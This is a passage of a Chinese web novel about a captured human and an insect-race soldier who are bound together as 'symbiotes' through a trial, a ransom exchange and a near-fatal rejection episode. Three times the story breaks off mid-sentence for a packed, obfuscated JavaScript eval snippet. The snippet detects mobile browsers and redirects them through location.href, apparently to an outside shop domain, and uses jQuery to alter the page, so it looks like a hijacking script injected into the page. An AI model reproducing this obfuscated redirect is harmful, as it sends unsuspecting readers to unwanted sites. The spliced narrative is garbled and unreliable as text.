然后要么把他变成武器,要么把他……关进另一个牢笼。 “那你打算怎么办?”他声音嘶哑,“在虫王面前同时对抗三个S级,你以为你是谁?” “我是你的养料。”谢迟衍站起身,走到他面前,伸手触碰他因愤怒而颤抖的触角,“是你亲自标记、亲自抽血、亲自说‘不许死’的养料。” 指尖的触碰让瑟摩迦僵住。 “所以,”谢迟衍的声音第一次带上了温度,像冰层下涌动的暗流,“你得帮我。” *** 试炼安排在血月最盛之时。 虫王腔室被改造成圆形竞技场,地面铺满活体神经网,每一根纤维都能放大精神冲击。 三位S级军雌分立三角,都是身经百战的老将,触角粗壮,翅膀展开时几乎能遮蔽半个穹顶。 谢迟衍赤足走入中央,只穿一件白色长袍。 他没有戴任何防护,没有注射缓冲剂,甚至没有绑生物镣铐。 他站在那里,瘦削得像一根即将折断的芦苇,却笔直地插在地面上。 虫王的金雾在穹顶凝聚,声音如钟鸣: “试炼开始。” 第一波冲击来自正前方的军雌,代号“裂颅”。 他的精神力像一柄战斧,直劈谢迟衍的意识海。 没有试探,没有留情,是绝对的毁灭。 谢迟衍没抵抗。 他让战斧劈入,任由自己的意识海被斩开一道裂口。 海水倒灌,记忆翻涌,但他将那个“人类的核”藏得更深,深到连自己都找不到。 裂颅军雌一愣。 他劈空了,或者说,劈入了一片虚无。 第二波来自左侧,“噬心”。 她的精神力像万千丝线,钻入裂口,试图缝合、改造、控制。 这是军雌对养料的常规操作——将对方意识编织成自己的形状。 但谢迟衍的意识海是液态金属,看似柔软,却总在触碰的瞬间凝固成刃。 丝线缠上去,被割断,再缠,再断。 噬心军雌的触角渗出金色的血。 她受伤了,被自己的猎物割伤。 奇耻大辱。 第三波来自右侧,“绞喉”。 他的精神力是蟒蛇,缠住整个意识海,缓慢收缩,试图挤压出最后的抵抗,让猎物在窒息中臣服。 谢迟衍感到自己的心跳开始失控。 不是恐惧,是生理性的压迫。 肺部像被灌满水,每一次呼吸都要对抗千斤重压。 意识海的边界在收缩,那个“人类的核”被挤压得无处遁形。 他看到幻象—— 看到瑟摩迦在战场上被三柄骨刃同时刺穿,银灰色的翅膀被撕裂,血液喷溅成雾。 看到虫王张开所有孔洞,将他吞噬。 看到地球在虫巢的扎根下逐渐萎缩,最后只剩一颗干瘪的果核。 看到自己在所有毁灭之后,独自站在废墟上,握着那滴源血,却无处可去。 “够了!” 瑟摩迦的声音炸响在意识海中,不是通过链接,是直接物理性的咆哮。 他冲入场中,翅膀张开到极限,尾巴如长鞭卷住绞喉军雌的脖颈,将他甩飞出去。 “瑟摩迦!”虫王的声音带上威压,“你敢扰乱试炼?” “我敢!”他挡在谢迟衍身前,银灰触角因极度愤怒而断裂,金色的血顺着额角流下,“陛下,您说过,这是‘最终转化’的养料。既是最终,便只能由我亲自执行。他们三个,算什么东西?” 话音落下的瞬间,他释放了自己的精神力。 那不是攻击,是包围。 将谢迟衍的意识海整个包裹,像蛋壳保护雏鸟。 裂颅和噬心的精神力撞上去,被反弹,反噬自身,两人同时吐血跪倒。 这是违规的。 军雌之间严禁用精神力互搏,违者会被虫王剥夺力量。 但瑟摩迦不在乎。 他转身,看向谢迟衍。 后者正单膝跪地,嘴角溢血,但眼神依然清醒。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231227|197621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双银蓝瞳孔里,映出他暴怒而狼狈的样子。 “你……”谢迟衍喘息着说,“你打乱了我的计划。” “你的计划就是找死吗?”瑟摩迦吼回去,声音里带着他自己都没察觉的颤音。 “我的计划是——”谢迟衍站起身,推开他,直面虫王,“——让您看到,您的军雌,已经失去了支配养料的能力。” 金雾骤然凝聚,虫王的意志如实质般压下: “说清楚。” 谢迟衍抹去嘴角的血,声音平静得可怕: “瑟摩迦军雌在保护我,不是出于支配,是出自恐惧。他怕失去我,怕到愿意违背您的意志。这说明,您的源血计划已经出现漏洞——军雌不再只是执行者,他们有了‘想要’的东西。” 他停顿,环视全场: “当一个掠夺者开始‘想要’,掠夺就成了交易。而当交易出现,共生就有了可能。” “共生?”虫王重复这个词,像在品尝毒药。 “对。”谢迟衍抬起手,掌心是那道被源血灼烧的疤,“我的血能污染源血,也能激活它。催化酶不是毒药,是钥匙。但钥匙需要锁,锁需要门,门需要……守护者。” 他看向瑟摩迦,眼神第一次出现柔软: “他愿意当那个守护者。不是为您,是为我。” 全场死寂。 虫王的金雾在瑟摩迦和谢迟衍之间来回游移,像在审视两件物品。 许久,它发出一声满足的叹息: “很好。” 金雾凝聚成实体,化作一柄权杖,落在瑟摩迦面前。 “从今天起,”虫王宣布,“瑟摩迦·瑟摩迦,你晋升为‘共生者’。你的直属养料,将不再是养料,是‘共生体’。你们共享血液,共享精神,共享……存亡。” 权杖顶端,一滴金色的源血滴入瑟摩迦的眉心。 他发出一声痛苦的嘶鸣,银灰色翅膀瞬间蜕成纯白,触角断裂处重新生长,泛着淡金色的光。 他的精神力像被扔进熔炉重铸,痛苦与愉悦交织,毁灭与新生并存。 而谢迟衍,感到自己的意识海被强行撕开一道裂口,瑟摩迦的精神力如洪流般涌入。 他们在精神层面,被缝合在一起。 *** 试炼结束,直属区。 瑟摩迦把自己浸在血池中,池水滚烫,像要煮了他。 谢迟衍坐在池边,赤裸的双足浸在水中,银蓝瞳孔里映出军雌痛苦的模样。 “值得吗?”他问。 “你说呢?”瑟摩迦的声音从水下传来。 谢迟衍没回答,只是将脚伸过去,用脚趾轻轻勾住他的尾巴。 瑟摩迦猛地抬头,金色的眼睛里满是愠怒,“你骗我。”他说。 “嗯。”谢迟衍承认,“我说共生,是骗虫王的。” “那什么是真的?” “真的……”他俯身,指尖触碰瑟摩迦的眉心,那里有一枚金色的印记,是共生者的标记,“……是真的想回家。” 瑟摩迦抓住他的手腕,倒钩刺入皮肤,没有注入毒素,只是紧紧扣住。 “那你得先学会,”他咬牙切齿,“怎么让一个虫族,也想去你的家。” “简单,”谢迟衍托着腮,他说,“那你,先学会不咬人。” 瑟摩迦看着他,冷哼一声,别过头去。 9. chapter9 共生后的第一夜,谢迟衍没睡着。 不是因为痛,是因为太安静。 他习惯了虫巢永不停歇的脉搏声,习惯了瑟摩迦暴躁的呼吸,习惯了血液在血管里被催化酶灼烧的刺痛。 但现在,那些声音都消失了,只剩下一种近乎真空的白噪音——那是瑟摩迦的精神屏障,像一层看不见的茧,将他与整个虫巢隔离开来。 他睁开眼,洞穴里很暗。 血池被排空后,穹顶的脉络不再发光,只有石床边的一小块苔藓散发着微弱的荧光,照亮了瑟摩迦的侧脸。 军雌睡着了,但睡得很不安稳。 翅膀半拢着,尾巴无意识地缠在谢迟衍的脚踝上,收紧,松开,再收紧,像在确认他是否还在。 触角低垂,尖端偶尔抽动,扫过谢迟衍的手背,留下一连串静电般的触感。 谢迟衍没动,只是侧过头,静静地看着他。 共生的印记在眉心发烫,每一次心跳都会引起对方的轻微共鸣。 他能感觉到瑟摩迦的梦境——不是画面,是情绪。 焦虑、暴怒、深深的疲惫,还有……一种他无法命名的空洞。 那是母星死亡时留下的空洞,是族群倒计时十七年带来的绝望,是瑟摩迦作为一个军雌、一个战士、一个掠夺者,在漫长征战中逐渐磨损的……人性。 不,虫性。 但谢迟衍分不清了。 当他用自己的意识去触碰那个空洞时,他感到的不是异族的冷酷,而是一种熟悉的孤独。 就像他七岁时在孤儿院后山,发现那片红叶是死亡预告时的孤独,就像他二十三岁时在能源站,听到部下惨叫却无能为力时的孤独。 原来掠夺者与受害者,共享同一种绝望。 他伸出手,指尖悬在瑟摩迦的眉心金色印记上。 那里是共生契约的节点,是两人精神缝合的地方。 只要他愿意,他可以刺入,可以搅碎,可以把这个军雌变成白痴。 但他没刺。他只是轻轻碰了一下,像碰一片雪花。 瑟摩迦瞬间惊醒,金瞳缩成针尖,尾巴倒钩弹出,抵住谢迟衍的喉咙。 “别动。”谢迟衍说,声音轻得像怕惊动什么。 瑟摩迦的呼吸很重,精神力因刚醒来而狂暴地涌动,震得洞穴岩壁簌簌落下碎石。 但谢迟衍的意识海像深海,将所有冲击无声吞没。 “你……”瑟摩迦的声音带着刚睡醒的沙哑,“……在干什么?” “在确认,”谢迟衍的指尖没有离开,反而沿着印记的纹路缓慢描摹,“你是不是真的怕失去我。” 尾巴的倒钩刺入皮肤,一滴血流下来,是银蓝色的。 瑟摩迦盯着那滴血,金瞳里翻涌着复杂的情绪。 他忽然收了倒钩,尾巴却缠得更紧,将谢迟衍整个人拖近,直到两人鼻尖相抵。 “是,”他承认得干脆,呼吸灼热,“我怕你死了,没人陪我一起疯。” 这不是告白,是陈述事实。 但谢迟衍的心口被这句话撞了一下,像被钝器击中。 他意识到,这个军雌的“怕”,不是占有欲,是……认同。 认同他是同类。 两个清醒的疯子,在彼此身上找到了镜像。 “那就别让我死。”谢迟衍说,声音第一次带上了温度。 瑟摩迦没回答,只是低头,用额头抵住他的额头。 共生印记相触,精神链接瞬间加深,他们同时跌入彼此的记忆。 *** 谢迟衍看到了瑟摩迦的母星——塞姆莱克。 不是幻象,是真实的记忆。 他看到银灰色的天空,看到巨大的孢子云在风暴中翻滚,看到军雌们在战场上厮杀,翅膀被撕裂,触角被折断,但没人后退。 因为后退意味着族群失去养分,意味着幼虫无法孵化,意味着……十七年的倒计时提前结束。 他看到瑟摩迦的破壳。 一只瘦小的幼虫,在源血池边挣扎,被其他幼虫撕咬,差点变成食物。 是虫王用精神力保护了他,将他从池子里捞出来,说:“这个孩子有狼性,适合当军雌。” 狼性,在虫族语里,是“能在绝境中反咬敌人一口”的意思。 他看到瑟摩迦第一次上战场,十六岁,翅膀还没硬。 他被人类伏击,小队全灭,他一个人藏在尸堆里三天三夜,靠喝同伴的血活下来。 然后他从尸堆里爬出来,反杀了整个伏击队。 他回巢时,没有荣誉,没有嘉奖,只有虫王一句淡淡的,“做得好,现在你是A级了。” 升级不是因为战功,是因为他在绝境中证明了自己“值得被喂养”。 他看到瑟摩迦第一次执行交割任务。 他看到人类被押送,看到他们眼中的恨与惧。 他机械地抽血,机械地送走,内心毫无波澜。 直到他看到谢迟衍。 那个站在队伍最后,脊背笔直,眼神像在看石头的人类。 那一刻,他感到的不是征服欲,是……被凝视。 被一个与自己同样清醒,同样绝望的存在凝视。 他忽然理解了,为什么人类的眼中有泪。 因为清醒是一种酷刑。 *** 瑟摩迦看到了谢迟衍的过往。 他看到那个七岁的男孩,在红叶林下埋葬一只蝴蝶。 男孩以为蝴蝶睡着了,用树叶盖在它身上,说:“晚安,明天见。” 他看到了男孩的第一次解剖课,切开虫族俘虏的胸腔,看到六心房的心脏还在跳动。男孩问导师:“它疼吗?” 导师说:“虫族不会疼。” 男孩没说话,但在下刀时,手抖了。 他看到了男孩的毕业典礼,他以第一名的成绩拿到勋章,但没人祝贺他。 因为同期学员都知道,他是孤儿院出来的“野种”,父母死于虫族基因实验,身上带着“被污染”的嫌疑。 他看到了能源站的最后一夜。 男孩坐在主控室,输入密码,手很稳。 但在按下确认键前,他对着通讯频道,轻声说:“对不起。” 对一百二十名部下说对不起,对地球说对不起,对父母说对不起。 对那只蝴蝶说对不起。 他看到了男孩被俘,被注射虫族基因,被押上交割场。 他看到了男孩在痛到昏迷时,依然在用摩斯密码计算时间。 S.O.S. 但那个信号,不是发给别人,是发给自己。 提醒自己,别睡过去,别变成它们。 *** 记忆交换结束,两人同时喘息着分开。 额头相抵的地方,印记依旧滚烫。 他们看着彼此,第一次没有敌对,没有算计,只有赤裸的、尴尬的、无法言说的……理解。 “对不起。”谢迟衍先说。 “为什么道歉?”瑟摩迦的声音干涩。 “为那只蝴蝶。”他说,“我埋葬它的时候,不知道那是寄生虫的巢。” 瑟摩迦一愣,然后笑了,笑得眼泪都出来了。 “傻子,”他骂道,但声音是软的,“虫族的幼虫,本来就是要寄生在活体上的。那是它的宿命,不是你的错。” “但我是人类,”谢迟衍固执地说,“我以为我可以选择不成为掠夺者。” “我也是虫族,”瑟摩迦回应,“但我没能选择不成为掠夺者。” 他们同时沉默。 原来不是掠夺者与受害者,是两个被困在宿命里,都想反咬宿命一口的……囚徒。 *** 第二天,副官带来消息。 “人类阵营派来了使者,要求赎回部分养料。名单里……有他。”副官递给瑟摩迦一张电子板。 谢迟衍的名字在第十七个,后面标注着:D级,基因污染,建议销毁。 瑟摩迦的尾巴将电子板抽得粉碎。 “回应他们,”他冷声道,“这个人,虫巢要了。条件是——” 他停顿,金瞳里闪过一丝算计,“——十吨高纯度能源晶。” 副官震惊,“大人,那是能支撑虫巢三年的物资!” “对。”瑟摩迦笑了,笑得冷冽,“让他们知道,这个人的价值,比他们整个营地都高。” 谢迟衍在一旁听着,没说话。 他明白,瑟摩迦这不是在抬价,是在逼人类阵营表态——要么承认他的价值,要么暴露他们根本不在乎所谓的“同胞”。 使者很快回复:同意。 但附加条件:交割时,需谢迟衍本人确认意愿。 瑟摩迦把回复扔给谢迟衍,冷笑:“你的同类,真有意思。卖了你,还要你签字画押。” 谢迟衍看着屏幕,眼神平静。 他知道这是什么。这不是赎回,是试探。 人类阵营想知道他是否还忠于人类,想知道催化酶是否让他产生了变化,想知道……他有没有被策反。 “我去。”他说。 “你敢!”瑟摩迦的尾巴瞬间缠住他的脖子。 “我必须去。”谢迟衍抬眼,银蓝瞳孔里没有恐惧,只有清醒,“我要告诉他们,我还活着。也要告诉他们,我回不去了。” 脖颈上的尾巴收紧,倒钩刺入皮肤,但瑟摩迦还是没注入毒素。 他只是用这种方式,确认这个人还在自己掌控中。 “我陪你去。”他最终说。 “不行,”谢迟衍拒绝得干脆,“你去,他们会射杀你。然后战争重启,所有人一起死。” “那你别去。” “我必须去。” 两人僵持,精神力在洞穴里无声碰撞,岩壁上的脉络被震得渗出金色血液。 最终,是瑟摩迦先妥协。 他松开尾巴,转身走向暗格,取出那滴源血。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231228|197621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晶体管在他手中旋转,金光映得他脸色阴晴不定。 “拿着这个,”他将源血塞进谢迟衍掌心,“如果他们敢动你,捏碎它。源血爆炸的威力,能夷平半个营地。” “那我也会死。” “对。”瑟摩迦咧嘴,笑得像头受伤的狼,“所以别死。死了,我就去毁了你的地球,给你陪葬。” 谢迟衍攥紧晶体管,金属的冰冷渗入骨髓。 他忽然伸手,拽住瑟摩迦的衣领,将他拉低,直到两人额头相抵。 共生印记滚烫,他们在精神链接里交换最后一句话: “等我回来。” “你敢不回来试试。” *** 交割地点在中立区的废墟,人类称它"第七广场"。 谢迟衍走出虫巢时,阳光刺得他闭眼。他太久没见过自然光了,虫巢里的光是生物荧光,是血色的,是死的。 而阳光是暖的,像母亲的指腹。 他记得这个感觉。 七岁那天,院长带他们去后山看枫叶,阳光就是这样落在脸上。 然后他发现了那只蝴蝶,然后他知道红叶是死亡预告,然后他失去了所有温度。 “谢迟衍?” 人类的声音将他拉回现实。 他睁开眼,看到一位穿着联合政府制服的中年男人,肩章是少将级别。 男人身后跟着一队士兵,武器对准他,也对准他身后的虫巢出口。 “是我。”他说。 少将皱起眉。 他记忆中的谢迟衍是个意气风发的年轻军官,眼神里有火。 而眼前这个人,瘦削、苍白、瞳孔泛着银蓝,像一具会说话的尸体。 “你……还好吗?”少将问,声音里带着试探。 “不好。”谢迟衍回答得干脆,“但还活着。” 少将松了口气,挥手让士兵放下武器。 他走上前,伸手想拍谢迟衍的肩膀,但后者后退一步,避开了。 “没关系,”少将尴尬地收回手,“回来就好。你的事迹,我们都听说了。你是英雄。” “我不是。”谢迟衍直视他,“我投降了。” 空气凝固。 少将的脸色变得很难看,“谢中尉,请注意你的言辞。你是被俘,不是投降。” “有区别吗?”谢迟衍反问,“我活下来了,靠虫族的血液。我的身体已经被污染,基因链正在重组。我不再是纯种人类,也不再是你们的同胞。” 他说得平静,像在陈述实验报告。 少将的脸色彻底黑了。他身后的士兵重新举起武器,但这次对准的是谢迟衍。 “你背叛了人类。”少将一字一顿。 “是你们先背叛了我。”谢迟衍的声音依然平静,但每一个字都带着重量,“能源站那一百二十人,是你们送到虫族嘴里的。我引爆反应堆,是想给他们个痛快。你们中止了,因为你们要活口,要样本,要研究材料。” 他抬起手,掌心是那道被源血灼烧的疤。 “现在,样本回来了。你们想要吗?” 少将的瞳孔收缩。 他看着那道疤,看着疤下流动的银蓝光,看着谢迟衍那双没有温度的眼睛,忽然感到一种恐惧。 这个年轻人,不是来回归的,是来宣战的。 “开火!”他下令。 但枪声没响。 谢迟衍捏碎了晶体管。 源血的金光瞬间爆发,不是爆炸,是扩散。 金色的雾笼罩整个广场,所有人类士兵同时跪倒,武器落地。 他们的基因链在源血的冲击下短暂失控,像是被唤醒了某种远古的记忆。 少将也跪下了,他看着谢迟衍,眼神从愤怒变成惊恐: “你……你到底是什么?” “我是钥匙。”谢迟衍说,声音在金光中回荡,“也是毒药。” 他转身,走向虫巢。 金色雾气追随他,像臣子追随君王。 在他身后,少将用最后的力气喊道:“地球不会原谅你!” 谢迟衍没回头,只是举起手,银蓝色的血从掌心伤口流下,滴在废墟上。 “那就让它恨着。”他说,“恨,至少证明它还活着。” *** 他回到洞穴时,瑟摩迦正站在门口,翅膀紧张地张开,尾巴焦躁地拍击地面。 看到他平安归来,军雌猛地冲过来,将他按在岩壁上,吻了下去。 不是撕咬,是确认。确认他还活着,还完整,还清醒。 吻了很久,久到谢迟衍快要窒息,瑟摩迦才松开他,额头相抵,喘息着问: “……回来了?” “回来了。” “还走吗?” 谢迟衍看着他金色的眼睛,看着里面藏着的恐惧与期待,忽然笑了。 “不走了。”他说,“家就在这里。” 不是虫巢,不是地球,是这个人身边。 10. chapter10 共生第七日,谢迟衍第一次尝到了铁锈的味道。 他坐在血池边,捧着一碗营养液,忽然觉得舌根发苦,像含了块生锈的铁。 那苦味顺着食道滑进胃里,在腹腔里掀起一阵烦躁的灼烧。 他皱眉,看向瑟摩迦。 后者正蹲在石桌前修理翅刃,眉头紧锁,尾巴不耐烦地抽击地面。 每一次抽击,谢迟衍舌根的苦味就更浓一分。 他明白了——这是共生的副作用。 精神链接一旦建立,就不只是意识层面的缝合,而是感官的共享。 瑟摩迦的暴躁、疲惫、压抑,都会化作味道、声音、触感,传递到他身上。 反过来,他的冷静、算计、深藏的痛苦,也会成为瑟摩迦精神世界的背景噪音。 他们成了两个共用一份情绪的人。 “你能不能,”谢迟衍开口,声音里有少见的无奈,“别这么烦躁?” 瑟摩迦动作一顿,翅刃在指尖转出一道银光,“我烦躁你能感觉到?” “能。”谢迟衍放下碗,“像吃了生锈的钉子。” 军雌愣了愣,然后爆发出一阵大笑。 他走过来,捏住谢迟衍的下颌,强迫他张嘴,然后凑近嗅了嗅。 “嗯,”他煞有介事地点头,“确实有我的味道。” 谢迟衍推开他,但没推动。 瑟摩迦顺势将他按在池边,额头相抵,共生印记滚烫。他们的呼吸开始同步,心跳开始共振,连瞳孔的收缩频率都渐渐一致。 “还有呢?”瑟摩迦低声问,像诱导,“除了烦躁,你还尝到什么?” 谢迟衍的舌尖动了动,在精神链接的深处,他尝到了另一种味道——像冰川下融化的雪水,又涩又冷,却带着一丝若有若无的甜。 那是瑟摩迦从未说出口的情绪。 “孤独。”他轻声说。 瑟摩迦的笑容僵在脸上。 他松开手,后退一步,翅膀收束成防御的姿态。尾巴不再抽击地面,而是蜷在身后,像受伤的动物。 “别胡说。”他否认得干巴巴。 “我没有胡说。”谢迟衍站起身,走到他面前,伸手触碰他银灰色的触角。 这是共生者的特权,可以触碰对方最敏感的部位,“你害怕孤独,所以用暴躁掩盖。害怕失去,所以用强制占有。瑟摩迦,你的毒,是你的保护色。” 军雌的瞳孔骤然收缩。 “你再说一个字,”他声音低得像从齿缝挤出来,“我就把你扔进训练场,让十个军雌同时链接你。” “你不会。”谢迟衍平静地收回了手。 “我会!” “你不会。”他重复,语气笃定,“因为你已经试过。在试炼那天,你用精神力包裹我的时候,尝到了我的孤独。” 洞穴陷入死寂。 瑟摩迦的呼吸很重,重得像在压抑什么。 最终,他转过身,用翅膀遮住自己的脸,声音闷在翅膜里: “……闭嘴。” 这是认输。 谢迟衍没再逼他。 他知道,对一个从未承认过脆弱的存在来说,被看穿比被击败更致命。他走到石床边躺下,闭上眼,任由共生的精神力将两人包裹。 他尝到了瑟摩迦的孤独,瑟摩迦也尝到了他的。 那是两种不同味道的绝望,混在一起,反而中和了毒性。 他们互相成了彼此的解药。 *** 但共生不是蜜糖,是双刃剑。 第十日,谢迟衍第一次出现排异反应。 他在训练场做常规体能训练时,忽然感到心脏被一只无形的手攥紧。 不是比喻,是物理性的压迫。 他跪倒在地,银蓝色的血液从口鼻涌出,滴在活体地板上,被迅速吸收。 瑟摩迦瞬间从观战台冲下来,尾巴卷住他的腰,将他拖离地面。 “怎么回事?”他吼道,精神力狂暴地扫过谢迟衍的意识海。 然后,他看到了—— 谢迟衍的基因链正在自我攻击。 催化酶与虫族基因达成了诡异的平衡,但共生契约强行注入的瑟摩迦的基因片段,打破了这种平衡。 现在,三股力量在他体内厮杀,将细胞当成战场。 “该死!”瑟摩迦咒骂,抱起他就往直属区跑,“我忘了……共生需要基因匹配度,你的污染体质……会反噬。” 谢迟衍被放在血池边,意识已经模糊。 他能感觉到瑟摩迦的精神力像一张网,试图兜住他崩溃的基因链,但网太大了,洞太多了,每补上一个,就有十个新的裂口出现。 “别……浪费精神力。”他喘息着说,“没用的……” “闭嘴!”瑟摩迦的尾巴缠住他的四肢,倒钩刺入血管,强行注入高纯度的信息素。 那是军雌的“急救措施”,用自身激素压制养料的生理崩溃。 但谢迟衍不是养料,是共生体。 信息素注入的瞬间,他的身体剧烈痉挛,喉咙里发出破碎的嘶鸣。 那不是人类的声音,也不是虫族的,是两种基因在撕裂声带时发出的悲鸣。 瑟摩迦僵住了。 他第一次感到真正的恐惧——不是失去猎物的恐惧,是失去同类的恐惧。 他看着这个被自己亲手标记、亲手抽血、亲手拖入共生地狱的人类,忽然意识到,如果谢迟衍死了,他不只是失去一个养料。 他会失去自己的另一半。 “听着,”他俯身,用额头抵住谢迟衍的额头,共生印记烫得几乎要融化,“我不会让你死。你记住,你的命现在是我的,没有我的允许,你连呼吸都不行。” 话音落下,他做出了一个疯狂的举动。 他咬破了自己的手腕动脉,金色的血液涌出,滴在谢迟衍的唇上。 “喝。”他命令。 谢迟衍紧闭着唇,摇头。 他知道这意味着什么——军雌的本源血,是源血的次级产物,每损失一滴,都会折损寿命。 瑟摩迦已经活了二十七年,对虫族来说正值壮年,但本源血的流失会让他提前进入衰老期。 “我让你喝!”瑟摩迦掐住他的下颌,强行撬开嘴,将自己的血灌进去。 金色的液体滑入食道,像熔岩。 谢迟衍感到自己的基因链在被强行改写,不是融合,是覆盖。 瑟摩迦的意志蛮横地闯入他的身体,将那些厮杀的力量全部镇压,像暴君镇压叛乱。 代价是,瑟摩迦的脸色以肉眼可见的速度灰败下去。 他的触角开始萎缩,翅膀上的鳞片失去光泽,尾巴无力地垂落。 但他没停,直到谢迟衍的痉挛停止,直到他的呼吸平稳,直到他的基因链重新陷入脆弱的平衡。 “够了……”谢迟衍抓住他的手腕,声音嘶哑。 瑟摩迦停下,身体摇晃了一下,单膝跪地。 他抬头,金瞳里的光黯淡得像要熄灭,但嘴角却挂着得意的笑: “你看,我说了……你的命是我的。” 说完,他倒下了。 ………… 谢迟衍守了他三天三夜。 军雌的恢复力极强,但本源血的流失不是小事。 瑟摩迦陷入深度休眠,精神力收缩成一枚茧,将自己牢牢包裹。 谢迟衍无法链接,只能感觉到茧里传来的微弱波动。 他第一次感到恐慌。 不是因为孤独,是因为愧疚。 他算计了一切,却没算到瑟摩迦会用自己的命换他的命。 这个暴躁的、高傲的、强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231229|197621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制爱成性的军雌,居然会做出这种……人类的牺牲。 他坐在床边,握着瑟摩迦的手。那只手曾经捏碎过他的腕骨,现在却冰凉得像死物。 “傻子。”他骂,声音却在抖。 第三天夜里,瑟摩迦醒了。 他睁开眼,看到谢迟衍趴在床边睡着了,手里还攥着他的尾巴尖。 军雌的尾巴是意识延伸,此刻正无意识地回勾,缠住谢迟衍的手指。 瑟摩迦没动,只是静静地看着他。 他能感觉到,谢迟衍的基因链里,有了自己的味道。 不是信息素,是更深层的东西——是他的记忆、他的情绪、他的……孤独。 他们确实成了双生。 “喂,”他用尾巴尖挠了挠谢迟衍的掌心,“起来。” 谢迟衍瞬间惊醒,眸底里满是血丝。他看到瑟摩迦醒了,第一反应是去探他的额头,确认体温。 瑟摩迦没躲,任由他触碰。 “你还……”谢迟衍的声音干涩,“还好吗?” “不好,”瑟摩迦咧嘴,笑得虚弱但得意,“少了三百年寿命。你得赔我。” “怎么赔?” “用你剩下的三个月。”他说得理所当然,“每一秒,都要在我身边。” 谢迟衍沉默片刻,点头:“好。” 这下轮到瑟摩迦愣住。 他以为会遭到拒绝,会迎来嘲讽,会听到“你的命是你自己愿意给的”这种冰冷的理性分析。 但谢迟衍只是说好,然后俯身,用额头抵住他的额头。 共生印记共鸣,精神链接里传来他的情绪—— 不是算计,不是妥协,是……心疼。 瑟摩迦被这种陌生的情绪烫到,下意识想逃,但谢迟衍按住他的后颈,不让他退。 “别动,”他说,“让我看看,少了三百年寿命的军雌,脑子有没有变笨。” 精神力温柔地涌入,像春天的风,抚平瑟摩迦精神海的每一处创伤。 这是反哺,是共生者之间的双向喂养。 军雌的血液拯救了人类的身体,人类的意志安抚了虫族的灵魂。 他们第一次,真正地平等了。 *** 但平等,在虫巢里是原罪。 副官带来消息时,脸色苍白得像见了鬼: “大人,虫王召见。它要……要您交出共生体。” 瑟摩迦刚从虚弱中恢复,闻言冷笑,“凭什么?” “因为共生体不是养料,”副官的声音在颤,“是武器。源血对它有反应,说明它可以成为新的‘母核’,替代源血,延续族群。” 谢迟衍在一旁听着,眸子平静如水。 他早就料到了。 从他捏碎晶体管那天起,他就知道虫王不会放过任何可能性。 共生只是权宜之计,是为了让他安心发育,成为更完美的“容器”。 “回复陛下,”瑟摩迦站起身,翅膀张开到极限,白金色的鳞片在荧光下泛着冷光,“共生体不完整,强行提取会导致母核崩溃。我需要……三年时间,培育。” “三年?”副官震惊,“陛下不会信……” “那就让它不信。”瑟摩迦的尾巴将石桌抽成两截,“三年,是最后的底线。” 副官退下了。 洞穴里只剩两人。 谢迟衍走到瑟摩迦身后,伸手触碰他白金色的翅膀。 颜色变了,从银灰到纯白,是本源血流失的标志,也是共生者晋升的徽章。 “三年,”他轻声说,“但我只剩三个月。” “那就把三个月,活成三年。”瑟摩迦转身,将他圈在怀中,“我教你怎么在虫巢里,把一天过成一年。” “怎么过?” “像这样。”他低头,吻了下去。 11. chapter11 时间开始有了重量。 谢迟衍能清晰地感觉到,每一天的流逝都像沙漏里的一颗铅丸,砸在神经末梢上。 共生印记在手腕处灼烧,提醒他生命的倒计时——不是三个月,是七十九天。 催化酶在第七十天会达到峰值,那是基因链彻底崩解的临界点。 瑟摩迦搬来了计时器,一个古老的机械钟,齿轮用虫族骨骼磨成,每一次滴答都像是头骨被敲裂的声音。 他将钟挂在洞穴入口,对谢迟衍说: “从现在开始,每一秒都要让我看见你。” 谢迟衍没反驳,只是伸手拨动钟摆,让它走得慢些。 瑟摩迦暴躁地打掉他的手,“别闹。” “我没闹,”谢迟衍平静地说,“机械钟可以调校,时间不能。但我们可以假装它慢一点。” 军雌愣住了。 他第一次发现,这个总是理智到残忍的人类,也会说出这种近乎孩子气的话。 他看着谢迟衍低垂的眼睫,在荧光苔藓下投出一片阴影,忽然感到心脏被什么东西攥紧。 不是占有欲,是恐慌。 恐慌这个人会在他看不见的地方,悄悄碎掉。 *** 【检验】 虫王的耐心比预期更短。 第十五天,副官带来了一枚晶体,内部封着半滴源血。 “陛下说,”副官的声音发颤,“共生体的培育需要‘刺激’。这半滴源血,请大人亲自注入,观察反应。” 瑟摩迦盯着那枚晶体,金瞳里翻涌着暴戾。 这是试探。 源血是虫族的生命本源,对共生体而言,既是补药也是剧毒。 如果谢迟衍能承受,说明他真的具备成为“母核”的潜质,如果承受不住…… 